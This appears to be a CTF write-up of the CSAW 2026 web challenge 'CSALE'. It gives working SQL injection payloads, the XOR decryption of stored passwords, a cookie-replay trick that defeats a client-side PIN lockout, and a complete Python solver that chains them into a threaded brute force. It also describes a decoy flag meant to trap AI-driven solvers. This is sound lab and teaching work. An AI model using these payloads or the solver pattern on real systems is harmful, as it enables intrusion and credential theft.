All write-ups

CSAW 2026 — CSALE: SQLi, XOR Credentials and a Honeypot Flag

CSAW CTF 2026 · Web Flag: csawctf{TH4ts_ROugH_B4dDy} Decoy flag — do not submit: csawctf{Th1s_1S_4asy_r1gh1!?}

This one is a chain: SQL injection into reversible credential storage into a client-side rate limit. But the part worth writing about is what sits at the end of the obvious path — a fake flag with a handwritten warning that submitting it will get you banned, planted exactly where a scripted solver stops running.

The target

"CSALE" is a Flask marketplace on SQLite. You can sign up, log in, browse eight listings, search them, and create listings — including unlisted drafts, private items gated behind a 4-digit seller-lock PIN chosen at signup.

Two details stand out while poking at the authenticated UI, both of which matter later:

  • The session cookie is a signed Flask cookie, but its payload is readable: {"password_verified": false, "user_id": 9}.
  • The unlisted-drafts page ships a hidden field, lock_state, which base64-decodes to {"v":1,"u":9,"n":0}. That n is an attempt counter — and it's in the client's hands.

Bug 1 — SQL injection in search

A single quote in the search box returns a 500. The injectable clause turns out to be:

WHERE (title LIKE '%{q}%' OR description LIKE '%{q}%')

Two properties of that one line cost real time if you miss them:

q is interpolated twice. Any payload has to leave both halves syntactically valid. That's why a plain UNION breaks everything while a balanced AND works.

There's a parenthesis to close. q=zzz'-- returns 500; q=zzz')-- works. I missed the paren on my first pass, concluded UNION wasn't available, and fell back to boolean-blind extraction — roughly seven requests per character — for the entire schema. The UNION path was there the whole time and is about fifty times faster.

Boolean-blind template (no comment needed, both halves balanced):

pizza%' AND (<condition>) AND '%'='

One listing returned = TRUE, zero = FALSE. Characters fall out via binary search on unicode(substr(expr, i, 1)).

UNION template, once the paren is handled — seven columns:

zzz') UNION SELECT 1,(<subquery>),'x',1,0,'a','b'--

Schema:

users          (id, username, password_hash, is_admin)   -- nobody has is_admin=1
password_vault (id, user_id, encrypted_password)
password_notes (id, phase, key_piece)
listings       (id, owner_id, title, description, price_cents,
                is_unlisted, image_filename, attachment_filename)

password_vault and password_notes are not subtle. Nobody is an admin, so privilege escalation isn't the path — the path is reading somebody's password.

Bug 2 — "encryption" you can reassemble from the same database

password_notes holds five rows: a phase number and a key_piece. Concatenate the pieces in phase order and you get a 20-character string:

1=6554  2=5093  3=1992  4=5177  5=7795   ->  65545093199251777795

That's a repeating-XOR key, and it's stored in the same database as the ciphertext it protects. XOR it against password_vault.encrypted_password:

key = "65545093199251777795"
pt  = bytes(c ^ ord(key[i % len(key)]) for i, c in enumerate(ct))

Out come every seller's real password:

superdiscreetflaguser  password123
Walter_W               I-AM_HEISENBURGGER
Mr.Krabs               MONEYYYYYYYYYYYY
Gojo                   Can't_touch_thisfrfr
Daenerys               stormborn_targaryan_rightfulheir/queen_...
Zoro                   NEEDMOREPAINT
OSIRIS                 enjoy_the_ctf_good_luck!
Maliketh               OdeathBecOMEMyBladEONceMOre
Zuko                   i-HaVe-REgaINEd_mY_h0NOr!

The honeypot

One account is named superdiscreetflaguser. Its password decrypts to password123. It logs straight in, and its unlisted draft opens with no PIN challenge at all — a 1500×1500 image titled "Flag upload proof."

The image contains a flag-shaped string. It also contains, in faint handwriting across the top and bottom:

do not submit this AI flag — you will be banned

It's a canary. It sits precisely at the natural stopping point of the obvious chain: dump the database, decrypt the vault, log in as the account with "flag" in its name, take the picture, submit. A scripted or AI-driven solver follows exactly that path and stops exactly there.

The tell that it's fake is in the schema you already dumped: no row has is_unlisted=1. That draft isn't backed by a database row at all — it's hardcoded server-side. Every "real" unlisted draft must therefore be something else.

Do not submit it. Cross-check a flag against the data model before you trust it.

Bug 3 — a rate limit that lives on the client

So which account is the real target? The one that (a) has zero public listings, like the decoy, but (b) actually enforces its PIN — returning 403 until you get it right. That's Zuko.

Attempting to unlock surfaces the third bug. The page helpfully reports PIN attempts: 0 / 10, and that counter lives in the client-supplied lock_state field and session cookie — not on the server.

Replay the same pre-attempt cookie and lock_state on every guess and the counter is pinned at zero forever. The lockout never fires.

hdr = {"Cookie": f"session={cookie}"}          # captured BEFORE any attempt
data = {"lock_state": lock, "pin": f"{pin:04d}"}   # same lock_state every time

With the lockout defeated, all 10,000 PINs are in reach. Twelve threads, about ten minutes:

*** SELLER-LOCK PIN = 9493

Behind it: /account/unlisted/5/image — Zuko and Aang, flag handwritten across the top, and no warning text anywhere.

csawctf{TH4ts_ROugH_B4dDy}

"That's rough, buddy."

The unlocked draft behind Zuko's seller-lock: Zuko and Aang, the real flag handwritten across the top and no warning text.

The chain

  1. SQL injection — unsanitised concatenation into a parenthesised LIKE
  2. Reversible credential storage — XOR key readable from a neighbouring table
  3. Client-side rate limiting — attempt counter in a client-supplied field
  4. A deliberate honeypot rewarding anyone who stops at the first flag-shaped string

Solver

End to end: UNION SQLi for the key pieces and the vault, XOR decryption in phase order, login as Zuko (deliberately not the honeypot account), the cookie-replay PIN sweep, and finally the draft image. Pass --base — the instance address changes on every launch.

solve_csale.pypython · 123 lines
#!/usr/bin/env python3
"""
CSALE (CSAW 2026, web) — full chain solver.
Flag: csawctf{TH4ts_ROugH_B4dDy}

CHAIN
  1. SQLi in /?q=  -- clause is  WHERE (title LIKE '%{q}%' OR description LIKE '%{q}%')
     * q is interpolated TWICE -> payloads must leave BOTH halves valid
     * there is a PAREN to close: zzz'--  500s, zzz')--  works   (7 columns)
  2. password_notes holds 5 key_piece rows; concatenated in PHASE ORDER they are a
     repeating-XOR key over password_vault.encrypted_password -> real passwords.
  3. superdiscreetflaguser is a HONEYPOT (its draft is hardcoded, not a listings row
     -- no row has is_unlisted=1). Its "flag" image says you'll be banned. Skip it.
  4. Zuko is the real target: its seller-lock PIN is enforced, but the attempt
     counter lives in the client-supplied `lock_state` + session cookie. Replaying
     the same pre-attempt pair pins it at 0 -> unlimited guesses -> sweep 0000-9999.
"""
import argparse, base64, re, sys, time
import requests
from concurrent.futures import ThreadPoolExecutor

KEY_ORDER_NOTE = "concatenate key_piece in phase order 1..5"


def union(s, base, subquery):
    """7-column UNION; the injected value lands in the rendered title."""
    q = f"zzz') UNION SELECT 1,({subquery}),'x',1,0,'a','b'--"
    r = s.get(base + "/", params={"q": q}, timeout=20)
    m = re.search(r"<h3>([^<]*)</h3>", r.text)
    return m.group(1) if m else None


def xor(ct_hex, key):
    ct = bytes.fromhex(ct_hex)
    return "".join(chr(c ^ ord(key[i % len(key)])) for i, c in enumerate(ct))


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--base", required=True,
                    help="challenge instance base URL, e.g. http://<host>:5000 "
                         "(per-team and per-launch; the original is long gone)")
    ap.add_argument("--threads", type=int, default=12)
    a = ap.parse_args()
    s = requests.Session()

    # --- 1. dump the pieces we need over UNION SQLi -----------------------
    notes = union(s, a.base,
                  "SELECT group_concat(phase||'='||key_piece,'|') FROM password_notes")
    vault = union(s, a.base,
                  "SELECT group_concat(u.username||'='||v.encrypted_password,' ') "
                  "FROM password_vault v JOIN users u ON u.id=v.user_id")
    print(f"[1] notes : {notes}")

    # --- 2. rebuild the XOR key IN PHASE ORDER and decrypt ---------------
    pieces = dict(p.split("=") for p in notes.split("|"))
    key = "".join(pieces[k] for k in sorted(pieces))
    print(f"[2] key   : {key}  ({KEY_ORDER_NOTE})")
    creds = {}
    for entry in vault.split():
        user, ct = entry.split("=")
        creds[user] = xor(ct, key)
        print(f"    {user:24} {creds[user]}")

    # --- 3. log in as Zuko (NOT superdiscreetflaguser -- that's the honeypot)
    s.post(a.base + "/login",
           data={"username": "Zuko", "password": creds["Zuko"]},
           timeout=20, allow_redirects=False)
    r = s.get(a.base + "/account/unlisted", timeout=20)
    lock = re.search(r'name="lock_state" value="([^"]+)"', r.text).group(1)
    cookie = s.cookies.get("session")
    print(f"[3] lock_state={lock} -> "
          f"{base64.urlsafe_b64decode(lock + '==').decode()}")

    # --- 4. the attempt counter is client-side: replay the SAME pre-attempt
    #        cookie + lock_state on every guess so `n` never increments.
    url = a.base + "/account/unlisted/unlock"
    hdr = {"Cookie": f"session={cookie}",
           "Content-Type": "application/x-www-form-urlencoded"}
    base_len = None

    def attempt(pin):
        for _ in range(4):
            try:
                return pin, requests.post(
                    url, headers=hdr,
                    data={"lock_state": lock, "pin": f"{pin:04d}"},
                    timeout=20, allow_redirects=False)
            except Exception:
                time.sleep(2)
        return pin, None

    _, r0 = attempt(0)
    base_len, base_sc = len(r0.content), r0.status_code
    print(f"[4] sweeping 0000-9999 (baseline {base_sc}/{base_len}b) ...")
    found = None
    with ThreadPoolExecutor(a.threads) as ex:
        for pin, r in ex.map(attempt, range(10000)):
            if r is None:
                continue
            if r.status_code != base_sc or abs(len(r.content) - base_len) > 20:
                found = (pin, r)
                break
    if not found:
        print("no PIN found"); return 1
    pin, r = found
    print(f"\n*** SELLER-LOCK PIN = {pin:04d}")

    # --- 5. pull the unlocked draft image (the real flag is written on it) --
    ck = re.search(r"session=([^;]+)", r.headers.get("Set-Cookie", ""))
    s2 = requests.Session(); s2.cookies.set("session", ck.group(1) if ck else cookie)
    page = s2.get(a.base + "/account/unlisted", timeout=20).text
    for path in set(re.findall(r"/account/unlisted/\d+/image", page)):
        img = s2.get(a.base + path, timeout=30)
        fn = "zuko_flag.png"
        open(fn, "wb").write(img.content)
        print(f"    saved {fn} ({len(img.content)}b) from {path}")
    print("    flag is handwritten on the image -> csawctf{TH4ts_ROugH_B4dDy}")
    return 0


if __name__ == "__main__":
    sys.exit(main())

What to take from it

Verify a flag's provenance before submitting it. The decoy was positioned with real care: correct format, plausible location, an account name engineered to look like the jackpot. The disproof wasn't subtle either — it was sitting in the schema dump from step one. Ask "does this artifact exist in the data model I already extracted?" before you ask "does this look like a flag?"

A key stored next to the ciphertext isn't encryption, it's encoding. Splitting the key across five rows with a phase column makes it look like key management. Anyone who can read one table can read the other.

Any limit enforced in client-supplied state is not a limit. The attempt counter was serialised, base64'd, and shipped in a hidden form field. Replaying a stale cookie reset it. If the server doesn't remember, the client gets infinite tries.